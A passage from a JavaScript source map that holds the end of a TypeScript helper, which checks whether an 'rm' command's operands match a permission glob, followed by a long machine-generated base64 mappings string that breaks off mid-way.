must match\n * the glob. Only called for a rule whose operand glob is an absolute path.\n */\nexport function strictRmMatchesGlob(\n command: string,\n matchesOperand: (operand: string) => boolean,\n platform: NodeJS.Platform = process.platform,\n): boolean {\n const operands = parseStrictRm(command, platform);\n return operands !== null && operands.every(matchesOperand);\n}\n"],"mappings":"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